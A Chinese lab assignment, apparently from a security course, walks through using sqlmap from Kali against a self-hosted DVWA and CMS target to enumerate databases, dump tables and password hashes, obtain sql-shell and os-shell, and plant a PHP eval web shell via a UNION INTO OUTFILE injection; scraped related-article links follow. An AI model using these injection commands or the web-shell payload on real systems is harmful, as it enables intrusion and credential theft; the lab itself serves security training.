实验环境要求:

1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB

2、安装VMware Workstation 14以上

总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。


任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察页面信息为POST表单

原始方法肯定不行,所以再试试刚才的方法

保持请求

试过后发现失败

查看源码后使用二阶SQL注入—second-order

  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞

  1. 测试cms注入点,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1


  1. 列出所有数据库,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs


  1. 获取数据表,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables


  1. 获取数据,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa


  1. 获取所有管理用户,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users


  1. 获取用户密码,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords


拓展任务二、通过sql注入漏洞获取sql-shell和os-shell

  1. 使用sqlmap查看当前用户是否为dba,截图


  1. 使用sqlmap获取sql-shell,截图


  1. 使用sqlmap获取os-shell,截图

直接使用命令是错误的

我们需要在靶机修改一些参数来实现

重启服务


  1. 通过sql注入漏洞上传一句话木马,截图

1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #

执行不了说明没有权限,修改dvwa文件权限


    

使用sqlmap的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. jupyter notebook 将当前目录设置为工作目录

    生成配置文件首先打开你的CMD或者是终端(Linux),在你配置过环境变量的基础下,你直接输入以下命令: jupyter notebook --generate-config 然后打开生成的配置文件, ...

  2. zookeeper基础笔记

    一.安装 1.安装jdk 2.安装Zookeeper 3.单机模式(stand-alone):安装目录/conf   复制 zoo_sample.cfg 并粘贴到当前目录下,命名zoo.cfg. 二. ...

  3. 老猿学5G扫盲贴:N6接口用户平面协议栈对应的网络分层模型

    在网络通信模型中,都对应有分层的网络结构,如开放式系统互联(OSI)的七层模型(物理层.数据链路层.网络层.传输层.会话层.表示层和应用层)以及TCP/IP四层(网络接口层.网络层.传输层和应用层)模 ...

  4. Python函数的关键字参数

    除了位置参数的函数参数使用方式,还有一种在函数调用时指定形参等于指定实参的参数使用模式,该模式称为关键字参数.关键字参数使用可以不按形参的顺序传递实参,系统按形参的名字确认实参传递给哪个参数. 具体内 ...

  5. burp-requests插件安装使用

    这段时间都没更博客,扫描器的更新也暂时停止了,因为回了学校之后需要准备实验室招新和几个比赛的事情,内疚两秒钟,赶快学习! burp里面的插件很多,但是不要被纷繁复杂的功能迷了双眼,还是那句话:适合自己 ...

  6. flask对数据库的外键 主键

    近期一直在学flask框架,后悔当初没有好好学习数据库.一个外键的知识,真的是太....蓝瘦香菇 创建数据库 class Users(db.Model): __tablename__ = 'users ...

  7. java中==和equals的不同使用方法

    System.out.println("input a charact a      "); Scanner input2 = new Scanner(System.in); St ...

  8. 题解-Decrease

    [MdOI2020] Decrease 古老的博文. 今天巨佬团队 \(\texttt{luogu}\) 公开赛中的第三题,当时我写了好久才想到暴力做法 \(\texttt{42分}\),后来我还很离 ...

  9. kafka-java消费者与生产者代码示例

    引入依赖 <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.11 ...

  10. centos 7.5搭建oracle DG

    一.背景 1.IP分配 主库:192.168.12.5 node1 备库:192.168.12.6 node2 2.环境 主库已安装数据库软件,已建库,并有业务数据 备库已安装数据库软件,未建库 二. ...